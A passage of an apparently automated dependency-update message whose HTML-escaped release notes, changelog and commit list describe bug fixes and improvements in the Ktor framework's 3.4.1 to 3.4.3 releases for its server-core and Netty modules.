installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.3.1...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF 